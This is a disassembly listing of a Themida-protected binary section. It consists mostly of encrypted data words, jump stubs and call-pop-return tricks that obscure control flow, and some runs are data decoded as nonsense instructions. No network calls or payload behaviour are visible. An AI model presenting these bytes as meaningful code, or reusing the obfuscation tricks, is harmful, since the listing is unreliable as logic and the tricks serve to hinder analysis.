; ---------------------------------------------------------------------------
		push	614CB8Dh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	614CCB4h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	614CE58h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	614CF5Bh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	614D0E6h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	614D2EFh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	614D4C8h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	614D5D8h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		db 0B6h, 0A3h, 88h
		dd 1A055073h, 0ADB0E205h, 3E217598h, 0D7720629h, 7D0FA1C2h
		dd 0A2D42E5h, 9ABDD275h, 2E5166F9h, 19E8FD58h, 843CBB6Ch
		dd 0FCF366EFh, 1A3D53E3h, 59FC9235h, 0B1217844h, 61964784h
		dd 6E6D044Eh, 42552BBEh, 49FEC202h, 0A0EA9BC8h,	976B0AFDh
		dd 1FDCFDE2h, 0FD66F50Eh, 0C652ABB8h, 0A74600B1h, 36h
		dd 0E3EFAA8Eh, 679905B6h, 386B6B0Bh, 73200520h,	0F52835C2h
		dd 1045FA66h, 0D61D37E4h, 50D10933h, 0D1F2D78Ch, 66F4AC2Ah
		dd 47DEADF2h, 460053D1h, 0DB9Ah, 16498100h, 3D60E17Ch
		dd 721F0427h, 8809143Fh, 452A0D65h, 8469CCA2h, 9BB08BE1h
		dd 449D0FAh, 77D2A86Dh,	0E540174Ah, 0B5CA4B00h,	7459FC92h
		dd 34617128h, 6F48BBF7h, 0F0BC6CD9h, 0AF94B7CDh, 3ED879FAh
		dd 0F96B0B3Dh, 3C213C56h, 30336487h, 7F1AE6FBh,	3E752653h
		dd 906506CFh, 0A8FD9054h, 0D78C71ECh, 0E66E1EABh, 0BFECA165h
		dd 7257CA8Ch, 0DC0F3CBDh, 5F8CA184h, 0FE244F23h, 0FB7C4B8Eh
		dd 9AA580D8h, 8E06F4A8h, 3F96F3D8h, 0E000000Bh,	7699AE89h
		dd 0C2F44DFh, 9FC2D74Ah, 34576CF7h, 0C3E4F95Ch,	70CB9F31h
		dd 823385Bh, 9C87D0F3h,	2B0E6487h, 0E99A4716h, 66EF830Eh
		dd 53193229h, 0DA071C3Fh, 4E0BEC9Dh, 78246D04h,	91799DAEh
		dd 0BD3E73FDh, 2073C49Ah, 0EAF3083Dh, 0B6E3EFAAh, 0B679905h
		dd 6431D46Bh, 0DC1BCCF9h, 5366F527h, 6384699Eh,	66F52798h
		dd 0D9203F84h, 4600CF3Fh, 0CA2DDE1Bh, 6566F523h, 0CB9A84B0h
		dd 3101F375h, 0EB94B0h,	537B0000h, 92351A3Dh, 0C9765BFEh
		dd 6F47D78Dh, 0A1563B26h, 36E6D675h, 4077285h, 0D308BD6Dh
		dd 9B80DBB0h, 6C465E6h,	0F26D0403h, 81A4B99Ch, 0BE6B50EBh
		dd 223FFA82h, 70C2EE71h, 0C9951683h, 0DC7F14D0h, 65F9FEAFh
		dd 893E6D03h, 0A0762754h, 6E6B0A66h, 5C0D183Bh,	66F4659Bh
		dd 0C5AADF94h, 16CB8F10h, 87A2B6E9h, 576CEDA2h,	97C40E8Bh
		dd 8B6C1D5Ah, 0A466F465h, 0CBCD6EEFh, 0A26505F9h, 0F58DC0EDh
		dd 0DD103D52h, 23A487h,	0D324D568h, 5C6CE609h, 0A76772A7h
		dd 9B8E060Eh, 0A1859B6h, 72070000h, 0F69FC2D7h,	6133566Bh
		dd 8EC6E9FEh, 75B7E93h,	5CEE0F24h, 7C91B4CCh, 12270259h
		dd 0A4B9A4EFh, 3B50EB81h, 0E90EBF6Ch, 4E66EF81h, 0C493E57h
		dd 44D9C5Bh, 7E792A6Dh,	0B96D044Eh, 0A8B4004h, 0A3B893E7h
		dd 3A4FEA80h, 1A3D5331h, 59FC9235h, 0B1217844h,	6ECBD384h
		dd 6396B0Bh, 0CB2CDD70h, 6466F52Ch, 0E0957AAFh,	283A6BDh
		dd 83A4893Eh, 66F52D77h, 492E095Fh, 9075D0A6h, 0B8F04E4h
		dd 8248BCC0h, 0B08F2E3Dh, 13051C6Bh, 584600DFh,	64Ah, 0F5EFAA3Fh
		dd 2BD8BDA0h, 44E7D7Ah,	0C8FDB26Dh, 0C5B56693h,	706B0B52h
		dd 46B5D6BBh, 0D666F531h, 0CC5EF629h, 9C1AAA13h, 20053A15h
		dd 4625EA6Bh, 8459BFh, 0B8CE0146h, 0B001C9Dh, 0C3000006h
		dd 785DF890h, 0AA3942C3h, 5B6E3EFh, 6B0B5F3Dh, 0AF80D578h
		dd 0E1967BE6h, 0E4A77ACh, 9CBBD134h, 16FB7C17h,	0F49906F5h
		dd 9E81D266h, 0E54016B9h, 2E3D9200h, 0C703B08Fh, 41893200h
		dd 7D42C3CBh, 0D20117EEh, 1C594600h, 0F5258C6Bh, 6DEEA366h
		dd 5B551h, 8AE11400h, 55C88CAFh, 2E87CBD4h, 8EBB1782h
		dd 0B6A11DDh, 0E1974C6Bh, 242A240h, 6CCCDDBh, 44AE28D9h
		dd 5409E0F1h, 6E76236Fh, 0DA073C27h, 3D0BEC9Dh,	6F24E0EFh
		dd 0A310C1EEh, 6BDEF662h, 1D021D38h, 2338BF70h,	4AFFE2EAh
		dd 694FE915h, 3F0A21D6h, 1845FABEh, 6ACD2ADBh, 0BF62E2E9h
		dd 0EFA48994h, 0D90C39BAh, 7093A883h, 0FE343F1Ah, 5E0402A9h
		dd 8741C79h, 0D6AB0000h, 1A3B5E73h, 85CFF207h, 3262859Ah
		dd 63F71A2Fh, 92B3C8h, 283D1870h, 0B6CB6E05h, 485DC093h
		dd 0D7EC4F25h, 4DAA5B08h, 0E266EF80h, 3D53D2EBh, 2D94B23h
		dd 0EC2171E3h, 0F4DEBB07h, 0AAE616C7h, 0A0556B0Fh, 3B41EA8Bh
		dd 0CD8566F0h, 0CCE1441Ah, 0A379B00h, 4EA92ECEh, 1AF11D38h
		dd 8CC7EAD8h, 76F7AC91h, 21679849h, 2BE066F0h, 6ACDA346h
		dd 2157B455h, 0D68166F0h, 0CC09364Bh, 0F020DC1Bh, 1D9E5366h
		dd 0DCC164FAh, 0E79140BBh, 73FC988Ch, 0A55A3F22h, 93E88B70h
		dd 663BD3B8h, 9588CA19h, 14734860h, 0DAAF81D7h,	0ACF3B37Fh
		dd 0B450EDBAh, 8DC23344h, 4A204358h, 12E90AEFh,	707318A6h
		dd 69FFCC9Bh, 0B364A1CEh, 7318A644h, 8F53F68Ch,	674459DAh
		dd 0EDh, 1A3D53CEh, 5EC19235h, 4D9F5879h, 23396D04h, 0C2D72308h
		dd 0CA32E310h, 716B1083h, 8071B1BCh, 0ECD1880Ch, 7718Fh
		dd 80DBAE00h, 120D486Bh, 0A5B8DAFDh, 36296D90h,	0CF6AFE21h
		dd 750799BAh, 2253A1Dh,	92B5CA6Dh, 26495EC1h, 11E0F550h
		dd 7F44B364h, 0F4EB66EFh, 1A3D53DBh, 5BFE9235h,	0C75AFB2Eh
		dd 97AC2DE2h, 2B402374h, 0C2D77208h, 4370CB9Fh,	0F7DC4710h
		dd 0ED481F42h, 8CE4876Ch, 7421C4A9h, 366104E9h,	663B462Bh
		dd 45F2B819h, 0F4D97C12h, 6AF9BE3Fh, 0F522055Dh, 0BB2EB9h
		dd 33E8CD68h, 0E5956707h, 0B6624F64h, 0B74C0F0Ah, 7, 83999Eh
		dd 53000000h, 14351A3Dh, 6D045DE7h, 2AB9C69Bh, 0C96C0354h
		dd 0E5FA2FE4h, 0A98E91C2h, 43E7288h, 3712666Dh,	7CE7AF52h
		dd 0BAC99E97h, 5926EB1Bh, 4156C98Ah, 26005338h,	6C78B2B1h
		dd 9075AA99h, 8EC9AAEDh, 0C4F9AE93h, 375499DFh,	6F849FB8h
		dd 83D20542h, 6506BBA0h, 6D034E92h, 4F748334h, 6BB6D03h
		dd 419E9642h, 5639AE45h, 8FFFA021h, 556D03B2h, 0F56B168h
		dd 0FECBBA4Ch, 99A1FFFFh, 326h,	0E20D4900h, 69F56B06h
		dd 0E6D8A3Bh, 0DC26D04h, 5E3457D8h, 16F516FBh, 0C26D040Eh
		dd 0D17B9690h, 1D0C6722h, 346003E8h, 64394429h,	562BB607h
		dd 0D87DB009h, 2AAB6045h, 0A1DE7107h, 3A007F0h,	0DA7B306Dh
		dd 6D03A01Dh, 13285D12h, 16C79AF0h, 6D039FE1h, 876CA156h
		dd 39FA566h, 0FA5D336Dh, 2D0C915h, 0D5D824D5h, 0AA5F6B0Fh
		dd 0C2E7D9Fh, 73D0B588h, 5E6h, 0F0052039h, 809588CDh, 13283B5Dh
		dd 0A4B9A4F0h, 394EE981h, 62F68618h, 0F88FB2C7h, 7225485Dh
		dd 0A1B7DAEFh, 0F5A27186h, 0EF7DB344h, 6C857C66h, 351A3D53h
		dd 465BFE92h, 0D5EA4D23h, 967BDEB2h, 0D7BC9FF3h, 0B03F4C91h
		dd 7B687DD8h, 4C0FF19Dh, 53F68ABDh, 0DB8CB96Eh,	6D04461Ch
		dd 0C1DD5E13h, 24Ah, 0E1F1AAA8h, 0B006DBFCh, 0DD2293EAh
		dd 0F3A1778Eh, 86B94D20h, 0BAD657F2h, 22Eh, 411649A1h
		dd 0CB4C01E6h, 9369CFFh, 44D9F58h, 0FEE3986Dh, 0EAB004DDh
		dd 0A487DC93h, 0E87B1CBFh, 23409503h, 116EB392h, 20F41008h
		dd 1FC5D4Dh, 0AA440000h, 78B4E1F1h, 0CC61C5B6h,	6398891Dh
		dd 0E432F01Ch, 9CD14C06h, 7EB1EE1Bh, 6E2649D4h,	0D8590EF3h
		dd 384CC37h, 0E1C67B6Dh, 0D7DDF834h, 0C8474648h, 8B70F3A5h
		dd 2DB455D6h, 2393E9CDh, 6205EA4Dh, 3492E31h, 3110A1BEh
		dd 92869FECh, 0DB4D21D4h, 1A6h,	7E1649C2h, 0C849FEE3h
		dd 6339FFCh, 66C196C9h,	4DBB44E5h, 0BF746D04h, 0B028B9DAh
		dd 0FF4493EAh, 0F37F9960h, 7BEC4D20h, 0D3000001h, 0F47D1649h
		dd 0A489BEA1h, 354B6EEFh, 44802D12h, 1F380F60h,	0D745D804h
		dd 4D2346C7h, 9009D5EAh, 6803D94Bh, 23786F5h, 266624D5h
		dd 3CF16B0Bh, 16C53657h, 125766F5h, 0BA6CAC75h,	3B014600h
		dd 0E8000000h, 0CFECEFAAh, 70BD5EB6h
		dd 0ACE9164Bh, 399D336Fh, 1F9C0574h, 438797Eh, 2D085F6Dh
		dd 9233B469h, 6B0B520Ch, 0A8C9AE63h, 66F51E53h,	1EE784C9h
		dd 4600C5FAh, 0BA73h, 3D535A00h, 0FE92351Ah, 8E04564h
		dd 0ADE2BF64h, 0FE4F25C8h, 0B398CD68h, 0CADF7A10h, 3CCA129h
		dd 0BD6EAB6Dh, 6D03D53Ah, 9CBF40F5h, 824E63C6h,	0DD8EBB17h
		dd 6B156A39h, 0DF123FF4h, 8F92C28Bh, 79ACD95Ah,	243F58E1h
		dd 0A3B7DAEFh, 9E997D88h, 0A4898809h, 3DD47h, 0C2F4200h
		dd 9E81D4F7h, 312C6689h, 0C25DF91Ch, 53F68AADh,	0F98B1D3Eh
		dd 8EB1C661h, 26495EF9h, 0BADDF26Dh, 9D6C81A4h,	7BB83FF0h
		dd 887F66EFh, 243F536Fh, 44D8473h, 7308AB6Dh, 93EF3D8h
		dd 4DCC2BDCh, 0AE636D04h, 0FA376479h, 44DAE49h,	53D4896Dh
		dd 0EAFF5A30h, 28CF80BDh, 0F6D044Eh, 53D0D95Ah,	0F3562C3Dh
		dd 2036D9BEh, 0E99CD805h, 45D87DF4h, 0E57FAB60h, 8DA22344h
		dd 39F0EECh, 0C88DC06Dh, 9108D455h, 8AE11441h, 9415CAAFh
		dd 0B46CB667h, 7FB26B0Ah, 0B4694EE9h, 89CC6F33h, 0C7FCB196h
		dd 3D53A9B2h, 82B1ED1Ah, 0CFE50B57h, 63BEA16Ch,	3B645D37h
		dd 13727A0Fh, 90118C93h, 0D77208ABh, 0A75895C2h, 6D03EC50h
		dd 6E893AE7h, 0C96D03ECh, 925EDF14h, 619ECB07h,	16FB662Eh
		dd 4B3FE061h, 0A6B0AF3h, 55CCC55Eh, 80351A3Dh, 0BF3AA554h
		dd 0BBF8A58Ah, 0F4BDED0Ah, 0C8D4266h, 0F4BD906Bh, 15304866h
		dd 57CA8D30h, 98E72C72h, 7AAD5A39h, 0FBC041E4h,	6183956Ch
		dd 20E84600h, 0CF000000h, 0B6E3EFAAh, 0B679905h, 3A1FD46Bh
		dd 0F527E219h, 96F53A66h, 0CF898Fh, 0E8E246h, 53C90000h
		dd 92351A3Dh, 0D3765BFEh, 12B59ABDh, 23C4D97Ch,	6D0449A7h
		dd 6DC989C5h, 9082E854h, 0C0755AC5h, 91E70A8Bh,	25689B6h
		dd 0F6797E2Fh, 9BE6D03h, 1B3E53D4h, 0BDA0F445h,	9EE23D8h
		dd 0F26D295Ch, 0DEF4A571h, 0F3A00B1h, 0C87D6B0Bh, 954A86B3h
		dd 1E1C9C4Dh, 2C6D39BAh, 93C79A6h, 3AEFD44Fh, 40F818B9h
		dd 0D3066506h, 5A1E9F82h, 2D4578A5h, 9DF3441Ch,	0EB20D5BAh
		dd 652E5106h, 8DB0C5FAh, 4EA95AF5h, 0E96CE641h,	16F4FF34h
		dd 0F68E0647h, 204B411h, 461B0000h, 0EAABCEE3h,	153F6277h
		dd 82D2F50Ah, 13678A9Fh, 70022338h, 98AD88E0h, 263B1E75h
		dd 0B8CD5003h, 475CFF95h, 0DD1ACB78h, 5266EF79h, 1649425Bh
		dd 4164E540h, 0CCF90E29h, 8267C299h, 8EFA0CDh, 2F6D044Eh
		dd 80D6F97Ah, 4D829DB7h, 0EFAA2F38h, 4A06C3ECh,	0D00589FFh
		dd 7ACF2A3h, 0D6836B0Bh, 0F507D225h, 9BBA5D66h,	0B9EEA388h
		dd 4E245784h, 0D8856AEBh, 856ACDA5h, 4DAE4FD0h,	0CF66F508h
		dd 0B1E4FD8Ah, 0EFB7CE7h, 4600B00Ah, 0CA63h, 16494A00h
		dd 4366E742h, 82250A2Dh, 45664BEEh, 6D044985h, 7E792A67h
		dd 0B96D044Ah, 0A608304h, 48C6022Fh, 0E336CF8Ah, 73A0B536h
		dd 7A1B1440h, 18CDB2E7h, 3B1E7497h, 558F0A56h, 42F32003h
		dd 6D0355B5h, 6390C57Ah, 0A6F88B2h, 0C293C66Bh,	44C57A5Fh
		dd 0A8BBDD80h, 7925E73h, 0CEED9ECBh, 69650610h,	3C5487B4h
		dd 0CF1542Bh, 0EA0D2257h, 20A8B396h, 0A08E0637h, 0F45EBBh
		dd 562B0000h, 9ABBDEF3h, 54F7287h, 0B2E2051Ah, 0E3779AAFh
		dd 80123348h, 0A8BD98F0h, 364BEE85h, 0C8DD4013h, 576CCFA5h
		dd 0CD2ADB88h, 6266EF78h, 3F53526Bh, 99BCEF1Ch,	0CDF00586h
		dd 60D9DB7h, 0F2E90EBFh, 994E6D03h, 929C926Dh, 533F485Dh
		dd 92351A3Dh, 784459FCh, 4884B121h, 8E93838Ch, 0A1F316B9h
		dd 0A324D9BEh, 71063976h, 54EF1D6h, 0C364E51Ah,	6B10492Dh
		dd 8FAAC164h, 95C8755Ah, 0C67B60C3h, 0E94C2245h, 9D6BA7D4h
		dd 5F2A3E4h, 2A66EF88h,	25864975h, 8CE20586h, 0BDA3C4A9h
		dd 0CAFE3487h, 0C69DD00Dh, 8735C263h, 4192FDAAh, 0E1B2D024h
		dd 0BA3BF0B4h, 35996F5h, 0B3C8FB28h, 0D5021798h, 1085499h
		dd 4A6DF89Fh, 6D901134h, 17324617h, 89D28632h, 0C2FC4259h
		dd 0D073588Dh, 0BBB49984h, 344A99E6h, 83D9FC11h, 366C3A8h
		dd 0CD000000h, 3E53CED7h, 0FD93361Bh, 81D2755Ah, 4116B99Eh
		dd 0A5E01E6h, 0D3A74A2Fh, 0A4F09378h, 6731D4B9h, 217417FCh
		dd 53F7593Eh, 0BF57E389h, 4, 835FFB01h,	1C8704EBh, 89575C24h
		dd 4C781E7h, 81000000h,	4EFh, 243C8700h, 242C895Ch, 81E28952h
		dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 68502404h, 31CC3131h
		dd 66CE2D58h, 89562BB7h, 5EF589C6h, 48B5458h, 4C48324h
		dd 15B168h, 242C8900h, 8B08408Fh, 89572404h, 4C781E7h
		dd 83000000h, 3C8704C7h, 34FF5C24h, 0C4835D24h,	0A748E904h
		dd 228EFFFAh
		db 0A3h
; ---------------------------------------------------------------------------


loc_5A8641:				; CODE XREF: Themida_:005A78D8j
		mov	eax, 614D6F1h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0D816h
		dd 74CF1DC4h, 6E2833FAh, 0F948508Ch, 87964ACEh,	536813AEh
		dd 21503DD2h, 725B6830h, 0C08B08A3h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0E6C35141h,	0BD83287Dh, 60F1891h
		dd 83097500h, 0F26ADBDh, 19740006h, 0C08B5350h,	3FCB8h
		dd 25858900h, 8D060F00h, 11AFB89Dh, 5BD3FF06h, 0ADBD8358h
		dd 60F26h, 53501774h, 3FCB8h, 25858900h, 8D060F00h, 11ACA79Dh
		dd 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 53881128h, 2E38CB81h, 6A5B2499h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0C893C357h, 0CB742A2Ah, 0C04C0EBAh, 6AC08B7Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0F45C350h, 0E8Bh,	810F6000h, 0
; ---------------------------------------------------------------------------
		jl	$+6
		popa
		cmp	dword ptr [ebp+60F21ADh], 1
		jz	loc_5A87B8
		mov	ebx, ecx
		cmp	dword ptr [ebp+60F16D5h], 0
		jnz	loc_5A87B8
		push	0
		push	edi
		call	sub_5A877A
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A877A	proc near		; CODE XREF: Themida_:005A8772p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5A877A	endp

; ---------------------------------------------------------------------------
		dw 0B8F0h
		dd 306DBD83h, 0F00060Fh, 7884h,	0E8DA8B00h, 0Dh, 0A701D770h
		dd 672CAAEDh, 0C944DB86h, 48F0FEBh, 66000000h, 5B7AE2BAh
; ---------------------------------------------------------------------------


loc_5A87B8:				; CODE XREF: Themida_:005A875Aj
					; Themida_:005A8769j
		jmp	loc_5A8BCD
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5A87C8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A87C8	proc near		; CODE XREF: Themida_:005A87C0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5A87C8	endp

; ---------------------------------------------------------------------------
		dd 8DFC2843h, 0CF63F17Ch, 1Fh, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0FB6B60Ah
		dd 8C0FD8B7h, 5, 1036FCBBh, 4F73EE30h, 0ACC0A565h, 45C6D8AFh
		dd 8E60FFAAh, 0E536EF3Dh, 668EB02Fh, 0C05A8040h, 3FCFF904h
		dd 7543EE91h, 2FC0A3F5h, 462E88BFh, 65C66CBFh, 0CC9EF5E7h
		dd 0C4C23FFBh, 5CC2A9FBh, 5C6C6BFh, 6BD4A0EFh, 1D15DE15h
		dd 45C455B0h, 4706CBFh,	0FFA067DFh, 25992E24h, 45C603B0h
		dd 1578C6BFh, 249EF7E6h, 4640BEDEh, 4AC6D8BFh, 9539BC00h
		dd 0AD9736D5h, 45C61BBCh, 1C05D49Fh, 41E28A36h,	41E2273Eh
		dd 45C6B1A4h, 480589FEh, 0A4C7655Bh, 4AF96CEFh,	0C4A0CC00h
		dd 0ACA96B54h, 45C6C254h, 0AD9163D5h, 45C6B1BCh, 1A05879Fh
		dd 41E21036h, 41E2723Eh, 45C61BA6h, 7F05DAF8h, 79586FB2h
		dd 9B796CAEh, 45C659EAh, 0C49BD8BFh, 511C7C52h,	937139B9h
		dd 0C0C9E3DFh, 45C68DBAh, 8C2947D9h, 482E02ECh,	1C6B1BFh
		dd 0D97C028Bh, 7136E177h, 0ABBCCB59h, 12059AD9h, 854DD77Fh
		dd 15184DD9h, 414FB434h, 13C6DB9Bh, 45C6DB57h, 86984CBFh
		dd 61B2BFE1h, 61829ABBh, 45C690BBh, 869080BFh, 3BF040Ah
		dd 31F25FD1h, 44C940D2h, 253848F3h, 0ADF089D9h,	45C60957h
		dd 971126BFh, 3461A371h, 8DCFBEF5h, 5BB6884Fh, 0C4AEC1A8h
		dd 0C0301554h, 1DA7699Ch, 83D6E705h, 47CA88EEh,	45ACC6BFh
		dd 45C58BEAh, 18E6B1BFh, 294F857Ch, 147689Bh, 45DE329Bh
		dd 10831BBFh, 1E02367Ch, 4D4D86B2h, 0AD9763D5h,	45C6B1BCh
		dd 1C05819Fh, 41E22036h, 41E2723Eh, 45C61BABh, 3205DCFEh
		dd 2A1447D9h, 0BB4D03C5h, 6CDBAB07h, 0CEA0B9D4h, 45AC90F7h
		dd 45C5DEEFh, 1DE61BBFh, 14FD57Ch, 147C29Bh, 45DA679Bh
		dd 1586B1BFh, 2EC2E67Ch, 46B44B18h, 0C4A068A2h,	4AF2184Ch
		dd 447E5600h, 23C6C6BFh, 0E684813Eh, 347CD7EFh,	61CA5188h
		dd 0C9A0BC34h, 94713966h, 4AC2DA49h, 45C7923Ah,	10C6ACBFh
		dd 45C66057h, 869B91BFh, 61AA51E2h, 6182EDBBh, 45C62ABBh
		dd 86935EBFh, 0B1C14928h, 0FD8D45DEh, 45AC3A13h, 45C559EAh
		dd 18E6D8BFh, 294F317Ch, 147329Bh, 45DF1F9Bh, 10838DBFh
		dd 4AC0B77Ch, 0F3CA756Dh, 2DFF31F3h, 448A5DB0h,	45AC6CBFh
		dd 45C5DEE9h, 1BE61BBFh, 314FD37Ch, 147C29Bh, 45DE679Bh
		dd 1380B1BFh, 4BBEA67Ch, 0CFA65F3Ah, 4AA7CE78h,	45C6183Ch
		dd 0B90D0DBFh, 2FC7BF34h, 462E35BFh, 65C6B1BFh,	0CC981BE1h
		dd 0C4C248CBh, 52C212FBh, 3C61BBFh, 3E794EE9h, 0BA479B75h
		dd 0C5C663BFh, 453633B0h, 0BDA6D8BFh, 240DE7D9h, 9CD1B378h
		dd 45C71DABh, 45AC8DBFh, 45C52EE9h, 1BE663BFh, 314FEF7Ch
		dd 147DC9Bh, 45DE689Bh,	138036BFh, 7E315D7Ch, 0C3C99E05h
		dd 45C6C6BCh, 0AC72A03Fh, 45C6B16Ah, 0AD94D8D5h, 45C66CBCh
		dd 1F056C9Fh, 41E24F36h, 41E2C93Eh, 45C6C6A2h, 0B50531FDh
		dd 60667A73h, 0B5A71B8Fh, 454E85A7h, 0C8C936BFh, 45C61BBBh
		dd 76AF37D9h, 9371C9E6h, 4EBFE0D9h, 2A42BE40h, 2FC6D8BFh
		dd 462E3DBFh, 65C636BFh, 0CC9FD8E6h, 0C4C2A9F3h, 50C2E2FBh
		dd 4C663BFh, 0E12E72EEh, 45C6DE56h
		db 0BFh, 86h
; ---------------------------------------------------------------------------


loc_5A8B5E:				; CODE XREF: Themida_:loc_5A8BCDj
		cmp	[edi-535F00CAh], ecx
		scasd
		sbb	eax, esi
		inc	ebp
		push	eax
		mov	dh, 34h
		mov	ebx, 954C7325h
		inc	ebx
		imul	byte ptr [ecx+69h]
		inc	ebp
		out	45h, eax
		xchg	eax, ebx
		js	short near ptr loc_5A8BD3+4
		rcr	dword ptr [ebx+ebp*4-40BA3896h], 1
		lods	byte ptr ss:[esi]
		inc	ebp
		call	near ptr 0BFA0517Ch
; ---------------------------------------------------------------------------
		db 8Dh,	0E6h, 1Ah
		dd 394F997Ch, 147679Bh,	45DCB59Bh, 1281D8BFh, 3B10927Ch
		dd 88D2FC7Fh, 867CE83Eh, 2F8E83F6h, 462E96BFh, 65C663BFh
		dd 0CC9E72E7h, 0C4C2FCFBh, 5FC248FBh, 5C636BFh,	0D788D8EFh
		dd 91698007h
; ---------------------------------------------------------------------------
		cli


loc_5A8BCD:				; CODE XREF: Themida_:loc_5A87B8j
		jg	short loc_5A8B5E
		db	66h
		rcl	byte ptr [edx+4Bh], 1


loc_5A8BD3:				; CODE XREF: Themida_:005A8B78j
		rcr	byte ptr [edi+3243D26Eh], 65h
		fstp	dword ptr [eax-42029555h]
		retf
; ---------------------------------------------------------------------------
		db 31h,	0F6h, 4Ah
		dd 0AE81D26Eh, 13C6E74Ah, 45C6C557h, 869843BFh,	61B238E1h
		dd 618259BBh, 45C678BBh, 869070BFh, 45ACEE82h, 45C565EAh
		dd 18E6C6BFh, 294F3E7Ch, 147B59Bh, 45DFDC9Bh, 10836CBFh
		dd 0E3EA4D7Ch, 0ADAF1821h, 45C68DB6h, 2088357Dh, 510D2398h
		dd 0D00D31D3h, 0E87B5BE4h, 44C0639Eh, 455CB2B0h, 45AC1BBFh
		dd 45C565E8h, 1AE6C6BFh, 394F3C7Ch, 147B59Bh, 45DEDC9Bh
		dd 12816CBFh, 3EDE187Ch, 0C8C9E2F2h, 45C68DBDh,	0F8451535h
		dd 43C9756Ah, 2043BEBFh, 2FC6D8BFh, 462E3ABFh, 65C636BFh
		dd 0CC98D8E1h, 0C4C2A9CBh, 51C2E2FBh, 3C663BFh,	0ACB372E9h
		dd 45C6D8B9h, 0D5D39A8Dh, 0F84523C9h, 43C92BD2h, 1F4282BFh
		dd 2FC6C6BFh, 462E36BFh, 65C6B1BFh, 0CC9B1BE2h,	0C4C248D3h
		dd 50C212FBh, 0C61BBFh,	0A1F04EEAh, 45C6CC56h, 33C095BFh
		dd 0A750934Ch, 237C8D6Eh, 0DF6D863Eh, 45C68056h, 15C671BFh
		dd 45C68E57h, 869EE6BFh, 6182EAE7h, 618230BBh, 45C6C4BBh
		dd 86962CBFh, 9CA2E102h, 76B6DF4Dh, 0E87B0EF6h,	44C0C99Eh
		dd 45A5E6B0h, 954DB1BFh, 45D231E2h, 42F6CBFh, 17C686D5h
		dd 0BC4F01FCh, 0C798918Eh, 6C81A651h, 2F050958h, 462EE6BFh
		dd 65C6D8BFh, 0CC99AFE0h, 0C4C212C3h, 58C23FFBh, 2C68DBFh
		dd 0C7905E8h, 0CE15D38Ch, 0A7EA066Fh, 45C6E656h, 15C606BFh
		dd 45C63557h, 869E3BBFh, 618204E7h, 618247BBh, 45C677BBh
		dd 8696F1BFh, 0AF4685CCh, 45ACA303h, 45C5DEEDh,	1FE61BBFh
		dd 114FD77Ch, 147C29Bh,	45D3679Bh, 1784B1BFh, 0C858167Ch
		dd 511F2B02h, 0A84BBBB9h, 0FDC00F61h, 3EFCD1A2h, 52CB438Ch
		dd 8AED65B0h, 668F7F7Eh, 0C04B52D0h, 43D26E9Fh,	98D96532h
		dd 0BDFD6AABh, 4AF631CBh, 8381D26Eh, 0A4F305E9h, 0D917BD83h
		dd 74000614h, 0A78D8D0Dh, 0B8060F4Ch, 1, 6A40E1FFh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 93CCC357h, 6A8FF90Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 1ECAC357h, 0F746C49h
		dd 0B70FD0BFh, 2DE883D9h, 5BD08B51h, 0CE9C08Bh,	0CD000000h
		dd 5DF18ECEh, 42E3C0ADh, 83A9619Ah, 0F1891BDh, 9750006h
		dd 26ADBD83h, 7400060Fh, 8B535019h, 3FCB8C0h, 85890000h
		dd 60F2941h, 0B01F9D8Dh, 0D3FF0611h, 0BD83585Bh, 60F26ADh
		dd 50177400h, 3FCB853h,	85890000h, 60F2941h, 0ACC09D8Dh
		dd 0D3FF0611h, 0D08B585Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 13C35343h, 44E9C08Bh,	0A4000000h, 0C620Ch
		dd 57000000h, 434AC51Ch, 0F9366148h, 88A7A5ADh,	0FB75528Ch
		dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 921DF4C7h, 0DE196063h
		dd 5 dup(0)
		dd 0E9000000h, 0AB6h, 14E16468h, 9E78E906h, 9768FFFAh
		dd 0E90614E2h, 0FFFA9E6Eh, 14E39A68h, 9E64E906h, 4568FFFAh
		dd 0E90614E4h, 0FFFA9E5Ah, 14E4F268h, 9E50E906h, 968FFFAh
		dd 0E90614E6h, 0FFFA9E46h, 14E6A068h, 9E3CE906h, 5E68FFFAh
		dd 0E90614E8h, 0FFFA9E32h, 14E95468h, 9E28E906h, 92E7FFFAh
		dd 0D67FA2B7h, 4113364Bh, 0EEA6C9DEh, 273B5E73h, 3CCEEF04h
		dd 5C71D4ACh, 0F2072239h, 849984CFh, 1B300B61h,	9EE9F4Ch
		dd 2E66EF6Eh, 0EFAA1E37h, 3C79B6E3h, 44E6C8Bh, 6D0EC36Dh
		dd 6D044D8Ah, 0B047F8A5h, 876D044Dh, 0EF1C9DD2h, 15C876B2h
		dd 0E7764E4Fh, 0A6C16E78h, 0B0316657h, 1058FA0Fh, 5F8C416Bh
